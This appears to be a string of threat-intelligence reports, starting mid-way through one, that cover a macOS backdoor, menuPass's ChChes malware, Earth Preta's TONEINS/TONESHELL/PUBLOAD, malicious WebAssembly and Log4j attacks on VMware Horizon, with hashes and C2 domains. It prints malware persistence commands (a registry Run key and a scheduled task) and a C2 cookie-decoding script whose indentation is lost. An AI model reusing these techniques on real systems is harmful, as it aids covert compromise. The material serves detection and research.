This component acts as the C&C center and gives the attacker full control over the infected machine. The web service is set up locally and can be accessed through the “onion” address. After authenticating with the correct password, attackers gain access to a web-based control panel with the following abilities:
- File manager (view, edit, rename, delete, upload, download, and archive files)
- Command execution (execute commands)
- Script execution (execute scripts in PHP, PERL, Python, Ruby, Java, C)
- Shell via bind/reverse shell connect (remotely execute root commands)
- Simple packet crafter (probe firewall rule-sets and find entry points into a targeted system or network)
- Connect and administer databases
- Process list/Task manager (access the list of processes and applications running on the system)
- Send emails with attached files
## Attacker Control Panel
The malware uses a tool named “wacaw” to capture images and videos from built-in webcams. It also uses a daemon to grab updates and fetch files from the user’s computer or execute shell scripts.
## Pastebin Agent
Every infected machine has a unique Tor address that the attacker uses to connect and download the malware. All the addresses are stored on pastebin.com using this agent, after being encrypted with a public key using RSA and base64 algorithms.
## Consequences
“This type of malware is particularly dangerous as it’s hard to detect and offers the attacker full control of the compromised system,” says Tiberius Axinte, Technical Leader, Bitdefender Antimalware Lab. “For instance, someone can lock you out of your laptop, threaten to blackmail you to restore your private files or transform your laptop into a botnet to attack other devices. The possibilities are endless.”
This app is not digitally signed by Apple. As a good safety precaution, Bitdefender recommends downloading applications exclusively from reputable websites, and using a security solution for Apple devices to fend off Mac-targeting malware and other specific threats.
Technical analysis was provided by Tiberius Axinte, Technical Leader at Bitdefender Antimalware Lab and Dragos Gavrilut, Antimalware Research Manager. |
# menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations
**By Jen Miller-Osborn and Josh Grunzweig**
**February 16, 2017**
In 2016, from September through November, an APT campaign known as “menuPass” targeted Japanese academics working in several areas of science, along with Japanese pharmaceutical and a US-based subsidiary of a Japanese manufacturing organization. In addition to using PlugX and Poison Ivy (PIVY), both known to be used by the group, they also used a new Trojan called “ChChes” by the Japan Computer Emergency Response Team Coordination Center (JPCERT). In contrast to PlugX and PIVY, which are used by multiple campaigns, ChChes appears to be unique to this group. An analysis of the malware family can be found later in this blog.
Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not.
The attackers spoofed several sender email addresses to send spear phishing emails, most notably public addresses associated with the Sasakawa Peace Foundation and The White House. All the spear phishes were socially engineered with subjects appropriate for the target and the apparent sender. One of the more interesting subject lines was used in the White House attack; “[UNCLASSIFIED] The impact of Trump’s victory to Japan,” sent two days after the election. Most of the attacks against academics involved webmail addresses using names of academics but are not tied to those academics openly online. However, all the spear phish recipients used email addresses tied to them online.
The C2 infrastructure in these attacks is largely actor registered, with only a few Dynamic Domain Name System (DDNS) domains. menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns. All of the related hashes and C2s are in the appendix at the end of this blog.
## Ties to menuPass
There is not much public information about the APT campaign called menuPass (also known as Stone Panda and APT10). A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them. A later blog added some additional details. The group name is derived from one of the passwords they use with PIVY in their attacks. Believed to have started activity in 2009 and to originate from China, the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed. They have targeted Japanese organizations since at least 2014.
The newer ChChes malware family uses an import hash (bb269704ba8647da97377440d403ae4d) shared with other tools used by menuPass, affording an initial link. However, the ties are most strongly proved through infrastructure analysis, which shows a number of links between the newer infrastructure used in these attacks and older infrastructure publicly associated with the group. The three circled domains represent C2s publicly reported as tied to menuPass, linked to domains not previously publicly reported as associated. These are only a few of multiple overlaps analysts can find while researching menuPass infrastructure. The circled known domains are the first three below:
- apple[.]cmdnetview[.]com
- fbi[.]sexxxy[.]biz
- cvnx[.]zyns[.]com
- cia[.]toh[.]info
- 2014[.]zzux[.]com
- iphone[.]vizvaz[.]com
Additionally, the passwords in the PIVY samples also fit known passwords used by the group – three samples use “menuPass” and the other uses “keaidestone.” With these data points, we assess with high confidence the recent attacks were conducted by the menuPass group.
## Malware Analysis
For this analysis, Unit 42 looked at the following file:
- **MD5**: c0c8dcc9dad39da8278bf8956e30a3fc
- **SHA1**: 009b639441ad5c1260f55afde2d5d21fc5b4f96c
- **SHA256**: 6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e
- **Compile Time**: 2016-11-24 01:31:37 UTC
This malware is provided with an icon that appears to be that of a Microsoft Word document.
Additionally, we discovered that the samples identified in attacks against Japanese organizations were digitally signed using the certificate originally used by the Italian-based company, HackingTeam. Readers may recall that HackingTeam was compromised and subsequently had a large amount of internal data exposed in July 2015. This data included a wealth of code used by the organization, including certificates. The certificate in question was fairly old, and expired on August 4th, 2012. On July 10th, 2015, the certificate was revoked.
Multiple instances of malware have been discovered using this certificate since it was originally leaked in 2015. It is unclear why the actors decided to use this certificate that is tied to known malicious samples for their own samples. One possibility may be to make attribution more difficult for analysts researching these threats.
When the malware is initially run, it will first decrypt an embedded stub of code within the malware prior to executing it. This stub has many characteristics seen in shellcode, and begins by creating a new Import Address Table (IAT). This new IAT is then referenced throughout the remainder of the code when calling Windows APIs.
After the IAT has been generated, the malware will determine the path of %TEMP% and set its current working directory to this value. ChChes proceeds to collect the following information about the victim:
- Hostname
- Process Identifier (PID)
- Current working directory (%TEMP%)
- Window resolution
- Microsoft Windows version
This information is aggregated into a string such as the following:
`WBQTLJRH9553618*2564?3618468394?C:\\Users\\ADMINI~1\\AppData\\Local\\Temp?1.4.1 (1024x768)*6.1.7601.17514`
Note that in the string above, the ‘3618468394’ and ‘1.4.1’ strings are hardcoded within the malware itself. These may indicate versions of the malware or campaign identifiers; however, this has not been confirmed.
After this data has been aggregated, it is uploaded to a hardcoded command and control (C2) server via HTTP. The data is embedded within the ‘Cookie’ HTTP header.
The URI used above is randomly generated for each HTTP request made by ChChes. The data embedded within the Cookie header is encrypted using a unique technique. For each key/value pair, separated by a ‘;’, the malware will first perform a MD5 hash of the key, and extract the middle 16 bytes. The value is base64-decoded after the string is unquoted. Finally, the base64-decoded data is decrypted using RC4 with the previously obtained 16 bytes. All of the data is concatenated to form the final, decrypted data.
The following Python code shows an example of decoding the supplied Cookie field:
```python
import urllib
import base64
from binascii import *
import hashlib
def md5_get_middle(data):
m = hashlib.md5()
m.update(data)
o = m.digest()
hexed = hexlify(o)
return hexed[8:24]
def rc4_crypt(data, key):
S = range(256)
j = 0
out = []
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
return ''.join(out)
cookie_string = 'OtKoVg=jlIt2Eh55%2F%2F38%2FJbKlZpYFNNFhXgOgc0zzNqAxvls8edznJy4k%2BpxKUl1GG15OTRuC%2Blc5R6WGCmOHyPNObeV2O'
all_decrypted = ""
sub_strings = cookie_string.split(";")
for s in sub_strings:
key, data = s.split("=")
new_key = md5_get_middle(key)
new_data = base64.b64decode(urllib.unquote(data))
decrypted = rc4_crypt(new_data, new_key)
decrypted_data = decrypted.split(key)[1]
all_decrypted += decrypted_data
print("Decrypted String:")
print(repr(all_decrypted))
```
The script above produces the following output:
`'AWBQTLJRH9553618*2564?3618468394?C:\\Users\\ADMINI~1\\AppData\\Local\\Temp?1.4.1 (1024x768)*6.1.7601.17514'`
The initial ‘A’ character witnessed in the output above instructs the remote server that this is an initial beacon, or the first expected request sent by ChChes.
The C2 will respond with a ‘Set-Cookie’ header that contains the middle 16 bytes of the MD5 hash performed against the hostname and PID. Using the above example, the C2 would perform the MD5 against ‘WBQTLJRH9553618*2564’.
The subsequent request made by ChChes looks like the following:
Decrypted, we see the following contents stored within the Cookie field:
`Bb331106210b6364c`
The first character of ‘B’ signifies that this is the second request, and the remaining data is the 16 bytes previously seen in the C2 response within the Set-Cookie header.
At this stage, the C2 server is expected to return content in the following format:
`[Middle MD5][Base64-Encoded Data][Middle MD5]`
The ‘Middle MD5’ field contains the middle 16 bytes of the MD5 hash of the ‘b331106210b6364c’ string. This would result in a string of ‘500089dadf52ae0b’ in this particular example. The ‘Base64-Encoded Data’ field contains a fairly complex structure that will store a module that is to be loaded and subsequently run by ChChes.
ChChes acts as an initial infiltration point on a victim machine. It has the ability to load additional code that in turn may accomplish any number of tasks. During analysis, no C2 servers were found to be active, and Unit 42 was unable to identify any modules being loaded by ChChes. However, the JPCERT also recently analyzed this family and was able to collect modules that give ChChes the following functions:
- Encryption of communication by AES
- Execute shell command
- Uploading and downloading files
- Loading and executing the DLL
- Task list of bot command
However, the lack of persistence built into ChChes suggests that it by itself is not intended to run on a victim’s machine for long periods of time. In a successful intrusion, it may be only a first stage tool used by the attackers to orient where they landed in a network, and other malware will be deployed as a second stage layering for persistence and additional access as the attackers move laterally through a network.
## Conclusion
These attacks show Japan continues to be a target of interest to APT campaigns. menuPass has targeted individuals and organizations in Japan since at least 2014, and as the same organizations and academics were largely targeted each month in these attacks, it further shows menuPass is persistent in attempts to compromise their targets. menuPass also heavily favors spear phishing, and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy. This, and their persistence, highlights the need for training and awareness of spear phishing on the part of both individuals and organizations likely to be targeted. menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future.
Palo Alto Networks customers are protected from these malware families and C2 infrastructure by:
- All C2 domains are flagged as malicious in Threat Prevention and PAN-DB
- All three families are properly tagged malware by WildFire. Autofocus subscribers can learn more about each family via their tags:
- ChChes
- Poison Ivy
- PlugX
Additionally, Autofocus subscribers can learn more about menuPass by exploring tied activity with the menuPass tag.
## Indicators of Compromise
### SHA256 Hashes
**ChChes**
- 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
- e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
- ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
- fd6a956a7708708cddff78c8505c7db73d7c4e961da8a3c00cc5a51171a92b7b
- 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
- 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
- efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
- 6605b27e95f5c3c8012e4a75d1861786fb749b9a712a5f4871adbad81addb59e
- fadf362a52dcf884f0d41ce3df9eaa9bb30227afda50c0e0657c096baff501f0
- 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
- e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
- d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
- e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
- 4521a74337a8b454f9b80c7d9e57b4c9580567f84e513d9a3ce763275c55e691
- bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
- c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d
- f251485a62e104dfd8629dc4d2dfd572ebd0ab554602d682a28682876a47e773
- b20ce00a6864225f05de6407fac80ddb83cd0aec00ada438c1e354cdd0d7d5df
**PlugX**
- f1ca9998ca9078c27a6dab286dfe25fcdfb1ad734cc2af390bdcb97da1214563
- 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3
- 6c7e85e426999579dd6a540fcd827b644a79cda0ad50211d585a0be513571586
- 9f01dd2b19a1032e848619428dd46bfeb6772be2e78b33723d2fa076f1320c57
- 6c7e85e426999579dd6a540fcd827b644a79cda0ad50211d585a0be513571586
- 76721d08b83aae945aa00fe69319f896b92c456def4df5b203357cf443074c03
- dcff19fc193f1ba63c5dc6f91f00070e6912dcec3868e889fed37102698b554b
- 7eeaa97d346bc3f8090e5b742f42e8900127703420295279ac7e04d06ebe0a04
- a6b6c66735e5e26002202b9d263bf8c97e278f6969c141853857000c8d242d24
- 5412cddde0a2f2d78ec9de0f9a02ac2b22882543c9f15724ebe14b3a0bf8cbda
- 92dbbe0eff3fe0082c3485b99e6a949d9c3747afa493a0a1e336829a7c1faafb
**PIVY**
- f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06
- 412120355d9ac8c37b5623eea86d82925ca837c4f8be4aa24475415838ecb356
- 44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce
- 9edf191c6ca1e4eddc40c33e2a2edf104ce8dfff37b2a8b57b8224312ff008fe
### C2s
- dick[.]ccfchrist[.]com
- trout[.]belowto[.]com
- sakai[.]unhamj[.]com
- zebra[.]wthelpdesk[.]com
- area[.]wthelpdesk[.]com
- kawasaki[.]cloud-maste[.]com
- kawasaki[.]unhamj[.]com
- fukuoka[.]cloud-maste[.]com
- scorpion[.]poulsenv[.]com
- lion[.]wchildress[.]com
- fbi[.]sexxxy[.]biz
- cia[.]toh[.]info
- 2014[.]zzux[.]com
- nttdata[.]otzo[.]com
- iphone[.]vizvaz[.]com
- app[.]lehigtapp[.]com
- jimin[.]jimindaddy[.]com
- Jepsen[.]r3u8[.]com
- inspgon[.]re26[.]com
- nunluck[.]re26[.]com
- yahoo[.]incloud-go[.]com
- msn[.]incloud-go[.]com
- www[.]mseupdate[.]ourhobby[.]com
- contractus[.]qpoe[.]com
- apple[.]cmdnetview[.]com
- cvnx[.]zyns[.]com |
# Earth Preta Spear-Phishing Governments Worldwide
We break down the cyberespionage activities of advanced persistent threat (APT) group Earth Preta, observed in large-scale attack deployments that began in March. We also show the infection routines of the malware families they use to infect multiple sectors worldwide: TONEINS, TONESHELL, and PUBLOAD.
We have been monitoring a wave of spear-phishing attacks targeting the government, academic, foundations, and research sectors around the world. Based on the lure documents we observed in the wild, this is a large-scale cyberespionage campaign that began around March. After months of tracking, the seemingly wide outbreak of targeted attacks includes but is not limited to Myanmar, Australia, the Philippines, Japan, and Taiwan.
We analyzed the malware families used in this campaign and attributed the incidents to a notorious advanced persistent threat (APT) group called Earth Preta (also known as Mustang Panda and Bronze President).
In our observation of the campaigns, we noted that Earth Preta abused fake Google accounts to distribute the malware via spear-phishing emails, initially stored in an archive file (such as rar/zip/jar) and distributed through Google Drive links. Users are then lured into downloading and triggering the malware to execute: TONEINS, TONESHELL, and PUBLOAD. PUBLOAD has been previously reported, but we add new technical insights in this entry that tie it to TONEINS and TONESHELL, newly discovered malware families used by the group for its campaigns.
In addition, the actors leverage different techniques for evading detection and analysis, like code obfuscation and custom exception handlers. We also found that the senders of the spear-phishing emails and the owners of Google Drive links are the same. Based on the sample documents that were used for luring the victims, we also believe that the attackers were able to conduct research and, potentially, prior breaches on the target organizations that allowed for familiarity, as indicated in the abbreviation of names from previously compromised accounts.
In this blog entry, we discuss Earth Preta’s new campaign and its tactics, techniques, and procedures (TTPs), including new installers and backdoors. Last, we share how security practitioners can track malware threats similar to those that we have identified.
## Initial Compromise and Targets
Based on our monitoring of this threat, the decoy documents are written in Burmese, and the contents are "Internal-only." Most of the topics in the documents are controversial issues between countries and contain words like "Secret" or "Confidential." These could indicate that the attackers are targeting Myanmar government entities as their first entry point. This could also mean that the attackers have already compromised specific political entities prior to the attack, something that Talos Intelligence had also previously noted.
The attackers use the stolen documents as decoys to trick the targeted organizations working with Myanmar government offices into downloading and executing the malicious files. The victimology covers a broad range of organizations and verticals worldwide, with a higher concentration in the Asia Pacific region. Apart from the government offices with collaborative work in Myanmar, subsequent victims included the education and research industries, among others. In addition to decoy topics covering ongoing international events concerning specific organizations, the attackers also lure individuals with subject headings pertaining to pornographic materials.
## Analyzing the Routines
Earth Preta uses spear-phishing emails as its first step for intrusion. As aforementioned, some of the emails’ subjects and contents discuss geopolitical topics, while others might contain sensational subjects. We observed that all the emails we analyzed had the Google Drive links embedded in them, which points to how users might be tricked into downloading the malicious archives. The file types of the archives include compressed files such as .rar, .zip, and .jar, to name a few. Upon accessing the links, we learned that the archives contain the malware TONEINS, TONESHELL, and PUBLOAD malware families.
### Spear-Phishing Emails
We analyzed the contents of the emails and observed that a Google Drive link is used as a lure for victims. The email's subject might be empty or might have the same name as the malicious archive. Rather than add the victims’ addresses to the email’s “To” header, the threat actors used fake emails. Meanwhile, the real victims' addresses were written in the "CC" header, likely to evade security analysis and slow down investigations. Using open-source intelligence (OSINT) tool GHunt to probe those Gmail addresses in the “To” section, we found these fake accounts with little information in them.
Moreover, we observed that some of the senders might be compromised email accounts from a specific organization. Victims might be convinced that these mails were sent from trusted partners, increasing the chances that recipients will select the malicious links.
### Decoy Documents
We also found some decoy documents linked to the organizations related to or working with Myanmar government entities. The first decoy's file name is Assistance and Recovery(china).exe, while another decoy .PDF document was observed in a compressed file named Assistance and Recovery(china).rar. Allegedly, this is a document containing the ambassador’s report in rough meeting schedules between the embassies of Myanmar and China.
Another document is related to the Japan Society for the Promotion of Science (JSPS), an initiative that provides researchers opportunities to conduct and undergo research exchanges in Japan. Notably, the documents in the compressed file attachment(EN).rar are mostly image files. The malicious DLL and the executable, which are used for the next layer of sideloading, are also included among them.
There are also other decoy documents with diverse content themes, including regional affairs and pornography. However, when the victim opens the fake document file in this folder, no corresponding content appears.
## Arrival Vectors
We observed at least three types of arrival vectors as the intrusions' entry points, including over 30 lure archives around the world distributed via Google Drive links, Dropbox links, or other IP addresses hosting the files. In most of the archives we collected, there are legitimate executables, as well as the sideloaded DLL. The names of the archives and the decoy documents vary in each case.
### Type A: DLL Sideloading
In this case, there are three files in the archive: "~," Increasingly confident US is baiting China.exe, and libcef.dll. Notably, the names of the lure documents and executables can be different.
| Filename | Detection | Description |
|-------------------------------------|----------------------------------|-----------------------------------|
| 220509 - (Cabinet Meeting 2022).zip | ~ | Lure document |
| Increasingly confident US is baiting China.exe | Legitimate executable for DLL sideloading | |
| libcef.dll | Trojan.Win32.PUBLOAD | Malicious DLL |
Inside the archive, the "~" file is a lure document. The executable Increasingly confident US is baiting China.exe is a legitimate executable (originally named adobe_licensing_wf_helper.exe, which is the Adobe Licensing WF Helper). This executable will sideload the malicious libcef.dll and trigger the export function cef_api_hash.
### Type B: Shortcut Links
The malicious archive contains three files: New Word Document.lnk, putty.exe, and CefBrowser.dll. In particular, the DLL and executable files are placed in multiple layers of folders named “_”.
| Filename | Detection | Description |
|-------------------------------------|-----------------------------------------|-----------------------------------|
| Desktop.rar | New Word Document.lnk | Installer |
| _\_\_\_\_\_\putty.exe | Legitimate executable for DLL sideloading | |
| _\_\_\_\_\_\CefBrowser.dll | Backdoor.Win32.TONESHELL | Malicious DLL |
The threat actor utilizes the .lnk file to install the malicious files by decompressing the archive file with WinRAR.
### Type C: Fake File Extensions
In this case, China VS Taiwan.rar contains several files, including:
| Filename | Detection | Description |
|-----------------------------|----------------------------------------|-----------------------------------|
| China VS Taiwan.rar | China VS Taiwan.exe | First-stage legitimate executable for DLL sideloading |
| libcef.dll | Trojan.Win32.TONEINS | First-stage malware |
| ~$20220817.docx | Second-stage legitimate executable for DLL sideloading |
| ~$20220617(1).docx | Backdoor.Win32.TONESHELL | Second-stage malware |
| 15-8-2022.docx | Decoy document |
| China VS Taiwan(1).docx | Decoy document |
libcef.dll (detected by Trend Micro as Trojan.Win32.TONEINS) is an installer for the next-stage malware. It copies two files with names starting with "~", in this case, ~$20220817.docx and ~$20220617(1).docx to <%USERPROFILE%\Pictures>. Both files have fake file extensions and masquerade as the temporary files generated while opening Microsoft Office software.
## Malware
In this campaign, we identified the following malware used, namely PUBLOAD, TONEINS, and TONESHELL.
### Trojan.Win32.PUBLOAD
PUBLOAD is a stager that can download the next-stage payload from its command-and-control (C&C) server. This malware was first disclosed by Cisco Talos in May 2022. Once the .dll is executed, it first checks if the same process is already running by calling OpenEventA.
### Persistence
PUBLOAD creates a directory in <C:\Users\Public\Libraries\> and drops all the malware, including the malicious DLL and the legitimate executable, into the directory. It then tries to establish persistence in one of the following ways:
1. Adding a registry run key
```
cmd.exe /C reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Graphics /t REG_SZ /d \"Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\Users\\Public\\Libraries\\Graphics\\AdobeLicensing.exe\"\" /f
```
2. Creating a schedule task
```
schtasks.exe /F /Create /TN Microsoft_Licensing /sc minute /MO 1 /TR C:\\Users\\Public\\Libraries\\Graphics\\AdobeLicensing.exe
```
### Anti-Antivirus: API with Callback
PUBLOAD malware decrypts the shellcode in AES algorithm in memory. The shellcode is invoked by creating a thread or using different APIs. The APIs can accept an argument of a callback function, working as an alternative to trigger the shellcode.
### C&C Protocol
The decrypted PUBLOAD shellcode collects the computer name and the username as the payload of the first beacon. The payload will then be encrypted with the predefined RC4 (Rivest Cipher 4) key.
### Trojan.Win32.TONEINS
Trojan.Win32.TONEINS is the installer for TONESHELL backdoors. The installer drops the TONESHELL malware to the %PUBLIC% folder and establishes the persistence for it. TONEINS malware usually comes in the lure archives, and in most cases, the name of the TONEINS DLL is libcef.dll.
### Backdoor.Win32.TONESHELL
The TONESHELL malware is the main backdoor used in this campaign. It is a shellcode loader that loads and decodes the backdoor shellcode with a 32-byte key in memory.
## Conclusion
Earth Preta is a cyberespionage group known to develop their own loaders in combination with existing tools like PlugX and Cobalt Strike for compromise. Recent research papers show that it is constantly updating its toolsets and indicate that it is further expanding its capabilities.
Based on our analysis, once the group has infiltrated a targeted victim’s systems, the sensitive documents stolen can be abused as the entry vectors for the next wave of intrusions. This strategy largely broadens the affected scope in the region involved. For the group’s objectives, the targeted area appears to be the countries in Asia.
As part of organizational mitigation plans, we recommend implementing continuous phishing awareness trainings for partners and employees. We advise always checking the sender and the subject twice before opening an email, especially with an unidentifiable sender or an unknown subject. We also recommend a multi-layered protection solution to detect and block threats as far left to the malware infection chain as possible. |
# WebAssembly Is Abused by eCriminals to Hide Malware
By Mihai Maganu
October 25, 2021
CrowdStrike research finds that 75% of the WebAssembly modules are malicious. WebAssembly is an open standard that allows browsers to execute compiled programs. Cryptocurrency miners boost efficiency by abusing WebAssembly to achieve near-native execution performance. eCriminals turn to WebAssembly to hide web-based malware.
CrowdStrike researchers analyzed 12,291 unique WebAssembly (Wasm) samples from May 2018 to June 2021 and found that 75% of Wasm modules are malicious. WebAssembly allows browsers to execute resource-intensive compiled programs, such as games or image manipulation apps, directly in the browser with greater ease and performance.
Analysis revealed that malicious Wasm modules are used for two threat-related activities: mining cryptocurrency and hiding malicious scripts. Some cryptocurrency miners abuse Wasm to achieve near-native execution performance on the targeted machine, potentially enabling more efficient abuse of CPU computing power. Threat actors also use Wasm for obfuscation purposes by tampering with specific WebAssembly sections to embed malicious JavaScript or JScript code and trick browsers into executing it.
Since eCrime activities dominate the threat landscape, according to the recently published CrowdStrike Falcon OverWatch 2021 Threat Hunting Report, abusing Wasm modules for building more efficient cryptocurrency miners falls in line with threat actors’ financial motivation.
## What Is WebAssembly?
WebAssembly started as asm.js, a subset of JavaScript enabling developers to write C and other CPU-intensive applications for web browsers. Users would need only browsers to perform a wide range of activities. W3C saw the potential in this use case and started working on the next masterpiece of an open standard, which became WebAssembly.
One of the defining characteristics of WebAssembly is that it was built for speed and performance, especially when compared to JavaScript. It enables browsers to execute CPU-intensive tasks faster and more efficiently without freezing up, something JavaScript could never achieve.
WebAssembly has a binary format made to run in the browser’s Virtual Machine (VM) and a text format that is its assembly representation. Previous attempts to achieve this failed — one of the most popular and worst examples is Adobe’s Flash platform. It’s highly likely that WebAssembly also has many vulnerabilities, but being relatively new, it’s difficult to compare the two technologies head-to-head.
## A WebAssembly Format Primer
WebAssembly is structured in modules that can be distributed, instantiated, and executed individually. Each module has the following preamble:
- magic = 0x00 0x61 0x73 0x6D (4-byte magic number, the string '\0asm')
- version = 0x01 0x00 0x00 0x00 (The current version of the binary format)
Apart from the preamble, integer types in the Wasm format, either Signed and Unsigned, use the Leb128 encoding, which shows the hard work put into by W3C to make sure the format is as compact as possible.
The preamble is followed by a sequence of sections, and each section has the following structure:
- id: u8 (A one byte section id)
- size: u32 (Size of the contents, in bytes)
- contents: [size] (The actual content whose structure depends on the section id)
Every section is optional, but an omitted section is equivalent to having a section present with empty contents. The following section ids are recognized:
| Id | Section |
|----|------------------------|
| 0 | custom section |
| 1 | type section |
| 2 | import section |
| 3 | function section |
| 4 | table section |
| 5 | memory section |
| 6 | global section |
| 7 | export section |
| 8 | start section |
| 9 | element section |
| 10 | code section |
| 11 | data section |
| 12 | data count section |
The above is a high-level overview of the Wasm format. Each section is then parsed for contents to know what, where, and how something should be loaded and executed.
## WebAssembly’s Popular Hat Trick
Like any well-established programming language, WebAssembly speaks a lot of “dialects.” One of those dialects is hashing and the ability to use cryptographic functions.
We can look at WebAssembly as a “frequent flier.” Although it uses the cheap, economy-class web browser, it is actually traveling first class because it can reach anyone, anytime, as long as there’s an internet connection. Wasm even has a membership to all of the major “airlines”: Firefox, Chrome, Safari, and even Edge.
Combining the two capabilities — compatibility with major browsers and an internet connection as a minimum necessary requirement — provides the perfect mix for “clandestine” cryptocurrency mining operations.
However, Wasm takes cryptomining to an entirely new level, especially when backed publicly by open source repositories on GitHub, such as CryptoNight and Monero.
A previous study analyzed how cryptocurrency mining is achieved in the wild using WebAssembly and revealed that eCrime operators have been abusing Wasm since at least 2019 for financial gain.
## CrowdStrike’s Findings
Since WebAssembly has been gaining in popularity for the past two years, as more websites embed resource-intensive apps such as games or image and audio manipulation apps, CrowdStrike researchers started diving deeper into how eCrime adversaries might be abusing Wasm and for what purposes, apart from financial motivation. They collected and analyzed 12,291 unique WebAssembly samples from May 2018 to June 2021.
### Crypto Mining Efficacy
Some of the analyzed Wasm samples were identified as cryptocurrency miners. For example, two samples:
- 09c72015592622dd874c544dec7ed8ea21b4ff2ea30716dc670645d71ac42b5a
- e1aa80619c71857310574e4de6ba583a1dc7ed51f3dafca3cfca0d4c49af6f81
contain artifacts of the Cryptonight mining algorithm, while further research showed that they are genuine mining modules.
### A Clever Hide-and-Seek Trick
Of the 12,291 unique files collected and analyzed, 9,308 were malicious — more than 75% of the entire corpus. The majority of the malicious files use a relatively efficient trick to hide malicious scripts, embedding JavaScript or JScript code in the Data section of the WebAssembly module. This behavior could indicate a new trend that WebAssembly malware could be heading toward.
Wasm acts as an enclosing capsule for the already-known JavaScript and JScript malware present in the wild. Below, we have the disassembled WebAssembly (“text version,” it’s called) of two malicious samples:
- 0033aae4043665c6210eb7d143733238da67060655969b18e449f7be4fd6f743
- 006cd8d1d784f26ad8ee209a0a995d73d4f9c9b15185a499f180ae196c7091b3
Each file starts with the keyword module, and after that, each line starts with a keyword corresponding to the WebAssembly sections mentioned above.
What is interesting is the data section located at code line 9 on both samples. The first sample contains an HTML document inside the section, which embeds a malicious JScript. The second sample also contains a malicious JavaScript inside its data section.
At run time, the sample above drops the respective script or document, which is then executed by the browser. This method abuses the intended functionality of browsers that execute them and is a practical and efficient tactic for threat actors to hide malicious scripts within Wasm.
This method can be seen as a new type of obfuscation or even packing on top of the already-existing obfuscated malware state, adding another evasion tactic to the pool of techniques that adversaries can use.
## Final Thoughts
Malicious WebAssembly modules are not new, but their increase in popularity suggests that adversaries can abuse Wasm versatility and efficiency to hide additional malicious scripts for financial and obfuscation purposes. Previous research discovered 150 unique WebAssembly modules by crawling the top 1 million sites, and now we’ve found that of over 12,000 unique WebAssembly samples gathered, more than 75% contained an embedded malicious behavior.
The increased adoption of WebAssembly over the past couple of years suggests we can expect adversaries and eCrime groups to continue abusing this browser’s built-in standard for their illicit gains. |
# Log4j Exploit Hits Again: Vulnerable VMWare Horizon Servers at Risk
On December 9th, 2021, reports surfaced about a new zero-day vulnerability, termed Log4j (Log4Shell), impacting Minecraft servers. Countless millions of devices instantly became at risk of attack, and Log4j ranked among the worst vulnerabilities yet seen. The fear of the Log4j security flaw has once again returned as threat actors have started to exploit vulnerable VMWare Horizon Servers.
Log4j is a logging framework for Java applications and has been an integral part of many programs since the mid-1990s. Cloud storage companies like Google, Amazon, and Microsoft, which are the digital hotline for millions of other applications, have been hit hard. The same goes for other IT giants like IBM, Oracle, and Salesforce, as well as thousands of Internet-connected devices like televisions and security cameras.
## Trouble on the VMWare Horizon
December 2021 was challenging for many vendors rushing to patch Log4j vulnerabilities, and it wasn’t clear if this patching cycle had an end. More recently, attackers have been scanning the web for easily accessible Java services, and attacks by known and unknown threat actors against popular distributed applications vulnerable to Log4j escalated, including several targeting VMware Horizon servers.
VMware Horizon server versions 7.x and 8.x are susceptible to two of the Log4j vulnerabilities (CVE-2021-44228 and CVE-2021-45046). United Kingdom National Health Service digital experts stated that an attack group has been exploiting these flaws to install webshells on compromised servers. This allows them to create advanced persistent threats (APTs) that move laterally to spread infections. Using webshells has become a popular tactic employed by threat actors as it’s an easy way to land APTs on internet servers containing sensitive data.
Attackers leverage small, relatively simple files that often don’t trigger alerts with traditional next-generation antivirus (NGAV), endpoint protection platforms (EPP), or endpoint detection and response (EDR). If an attacker can bypass these defenses and gain access to a server, they can use remote access to execute further commands. The Log4j saga has opened the door to these attackers, who have installed webshells after exploiting flaws in the logging service.
Perpetrators have exploited the Apache Tomcat service running on vulnerable VMware Horizon servers by using specific PowerShell commands spawned from the Tomcat service. Attackers then restart the VMBLastSG service to initiate a listener that communicates with the command-and-control server. The listener runs commands from the server that contain a specific hardcoded key. This process is then used to establish persistent communications with a command and control server that executes ransomware or other malicious activities. Various lone actors, APT groups, and cybercrime organizations have exploited the Log4j flaws, which have led to ransomware attacks.
Morphisec Labs identified the active VMWare Horizon Tomcat service exploitation through the Log4j vulnerability that started on January 3, 2022. Similar to other vendors, we released an update for known indicators of compromise (IOCs) as we identified these within customer environments.
